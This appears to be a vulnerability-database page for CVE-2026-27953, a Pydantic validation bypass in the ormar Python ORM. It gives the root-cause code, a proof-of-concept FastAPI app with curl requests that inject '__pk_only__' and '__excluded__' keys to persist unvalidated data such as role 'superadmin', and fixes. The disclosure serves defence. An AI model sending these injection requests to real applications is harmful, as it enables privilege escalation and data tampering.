Skip to main content

Python CVE-2026-27953

| EUVDEUVD-2026-13198 HIGH
Improper Input Validation (CWE-20)
2026-03-19 https://github.com/ormar-orm/ormar GHSA-f964-whrq-44h8
7.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

4
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
EUVD ID Assigned
Mar 19, 2026 - 17:00 euvd
EUVD-2026-13198
Analysis Generated
Mar 19, 2026 - 17:00 vuln.today
CVE Published
Mar 19, 2026 - 16:27 nvd
HIGH 7.1

DescriptionGitHub Advisory

Summary

A Pydantic validation bypass in ormar's model constructor allows any unauthenticated user to skip all field validation - type checks, constraints, @field_validator/@model_validator decorators, choices enforcement, and required-field checks - by injecting "__pk_only__": true into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples.

A secondary __excluded__ parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.

Details

Root cause: NewBaseModel.__init__ (ormar/models/newbasemodel.py, line 128) pops __pk_only__ directly from user-supplied **kwargs before any validation occurs:

python
# ormar/models/newbasemodel.py, lines 128-142
pk_only = kwargs.pop("__pk_only__", False)
# ← extracted from user kwargs
object.__setattr__(self, "__pk_only__", pk_only)

new_kwargs, through_tmp_dict = self._process_kwargs(kwargs)

if not pk_only:
# Normal path: full Pydantic validation
    new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)
    self.__pydantic_validator__.validate_python(
        new_kwargs, self_instance=self
    )
else:
# Bypass path: NO validation at all
    fields_set = {self.ormar_config.pkname}
    values = new_kwargs
    object.__setattr__(self, "__dict__", values)
# raw dict written directly
    object.__setattr__(self, "__pydantic_fields_set__", fields_set)

The __pk_only__ flag was designed as an internal optimization for creating lightweight FK placeholder instances in ormar/fields/foreign_key.py (lines 41, 527). However, because it is extracted from **kwargs via .pop() with a False default, any external caller that passes user-controlled data to the model constructor can inject this flag.

Why the canonical FastAPI + ormar pattern is vulnerable:

Ormar's official example (examples/fastapi_quick_start.py, lines 55-58) recommends using ormar models directly as FastAPI request body parameters:

python
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
    await item.save()
    return item

FastAPI parses the JSON body and calls TypeAdapter.validate_python(body_dict), which triggers ormar's __init__. The __pk_only__ key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it - even extra='forbid' would not prevent this, because the key is already consumed by ormar.

The ormar Pydantic model_config (set in ormar/models/helpers/pydantic.py, line 108) does not set extra='forbid', providing no protection even in theory.

What is bypassed when __pk_only__=True:

  • All type coercion and type checking (e.g., string for int field)
  • max_length constraints on String fields
  • choices constraints
  • All @field_validator and @model_validator decorators
  • nullable=False enforcement at the Pydantic level
  • Required-field enforcement (only pkname is put in fields_set)
  • serialize_nested_models_json_fields() preprocessing

Save path persists unvalidated data to the database:

After construction with pk_only=True, calling .save() (ormar/models/model.py, lines 89-107) reads fields directly from self.__dict__ via _extract_model_db_fields(), then executes table.insert().values(**self_fields) - persisting the unvalidated data to the database with no re-validation.

Secondary vulnerability - __excluded__ injection:

The same pattern applies to __excluded__ at ormar/models/newbasemodel.py, line 292:

python
excluded: set[str] = kwargs.pop("__excluded__", set())

At lines 326-329, fields listed in __excluded__ are silently set to None:

python
for field_to_nullify in excluded:
    new_kwargs[field_to_nullify] = None

An attacker can inject "__excluded__": ["email", "password_hash"] to nullify arbitrary fields during construction.

Affected entry points:

Entry PointExploitable?
async def create_item(item: Item) (FastAPI route)Yes
Model.objects.create(**user_dict)Yes
Model(**user_dict)Yes
Model.model_validate(user_dict)Yes

PoC

Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:

python
# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar

DATABASE_URL = "sqlite+aiosqlite:///test.db"
ormar_base_config = ormar.OrmarConfig(
    database=ormar.DatabaseConnection(DATABASE_URL),
    metadata=sqlalchemy.MetaData(),
)

@asynccontextmanager
async def lifespan(app: FastAPI):
    database_ = app.state.database
    if not database_.is_connected:
        await database_.connect()
# Create tables
    engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", ""))
    ormar_base_config.metadata.create_all(engine)
    engine.dispose()
    yield
    database_ = app.state.database
    if database_.is_connected:
        await database_.disconnect()

app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE_URL)
app.state.database = database

class User(ormar.Model):
    ormar_config = ormar_base_config.copy(tablename="users")

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=50)
    email: str = ormar.String(max_length=100)
    role: str = ormar.String(max_length=20, default="user")
    balance: int = ormar.Integer(default=0)
# Canonical ormar pattern from official examples
@app.post("/users/", response_model=User)
async def create_user(user: User):
    await user.save()
    return user

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8000)

Step 2: Send a normal request (validation works correctly):

bash
# This correctly rejects - "name" exceeds max_length=50
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "email": "user@example.com"
  }'
# Returns: 422 Validation Error

Step 3: Inject __pk_only__ to bypass ALL validation:

bash
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__pk_only__": true,
    "name": "",
    "email": "not-an-email",
    "role": "superadmin",
    "balance": -99999
  }'
# Returns: 200 OK - all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)

Step 4: Inject __excluded__ to nullify arbitrary fields:

bash
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__excluded__": ["email", "role"],
    "name": "attacker",
    "email": "will-be-nullified@example.com",
    "role": "will-be-nullified"
  }'
# Returns: 200 OK - email and role are set to NULL regardless of input

Impact

Who is impacted: Every application using ormar's canonical FastAPI integration pattern (async def endpoint(item: OrmarModel)) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.

Vulnerability type: Complete Pydantic validation bypass.

Impact scenarios:

  • Privilege escalation: If a model has a role or is_admin field with a Pydantic validator restricting values to "user", an attacker can set role="superadmin" by bypassing the validator
  • Data integrity violation: Type constraints (max_length, ge/le, regex patterns) are all bypassed - invalid data is persisted to the database
  • Business logic bypass: Custom @field_validator and @model_validator decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped
  • Field nullification (via __excluded__): Audit fields, tracking fields, or required business fields can be selectively set to NULL

Suggested fix:

Replace kwargs.pop("__pk_only__", False) with a keyword-only parameter that cannot be injected via **kwargs:

python
# Before (vulnerable)
def __init__(self, *args: Any, **kwargs: Any) -> None:
    ...
    pk_only = kwargs.pop("__pk_only__", False)
# After (secure)
def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None:
    ...
    object.__setattr__(self, "__pk_only__", _pk_only)

Apply the same fix to __excluded__:

python
# Before (vulnerable)
excluded: set[str] = kwargs.pop("__excluded__", set())
# After (secure) - pass via keyword-only _excluded parameter
def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None:
    ...
# In _process_kwargs:
    excludes = _excluded or set()

Internal callers in foreign_key.py would pass _pk_only=True as a named argument. Keyword-only parameters prefixed with _ cannot be injected via JSON body deserialization or Model(**user_dict) unpacking.

AnalysisAI

A critical validation bypass vulnerability in the ormar Python ORM library allows attackers to completely skip all Pydantic field validation by injecting a special '__pk_only__' parameter in JSON request bodies. This affects all applications using ormar's canonical FastAPI integration pattern (where ormar models are used directly as request body parameters), enabling attackers to persist invalid data, bypass security constraints, and potentially escalate privileges. A working proof-of-concept demonstrates the vulnerability is trivially exploitable, and with a CVSS score of 7.1, it poses significant risk to affected applications.

Technical ContextAI

The ormar library (CPE: pkg:pip/ormar) is a Python ORM that integrates with Pydantic for data validation and FastAPI for web APIs. The vulnerability stems from CWE-20 (Improper Input Validation) where the model constructor extracts the '__pk_only__' flag from user-supplied kwargs before Pydantic validation occurs. This internal optimization flag, designed for creating lightweight foreign key placeholder instances, can be injected by external users because it's popped from kwargs with a False default. The same pattern affects '__excluded__' parameter injection, allowing attackers to nullify arbitrary model fields. The vulnerability bypasses all type checks, field validators, model validators, choices constraints, max_length restrictions, and required field enforcement.

RemediationAI

Update the ormar library to the patched version once available, monitoring the GitHub advisory at https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8 for release information. Until a patch is available, implement input sanitization by explicitly removing '__pk_only__' and '__excluded__' keys from user input before passing to ormar constructors, or create separate Pydantic models for API input validation that map to ormar models after validation. For critical applications, consider temporarily switching from the direct model binding pattern (item: OrmarModel) to explicit request body validation using standard Pydantic models, then manually constructing ormar instances with validated data.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-27953 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy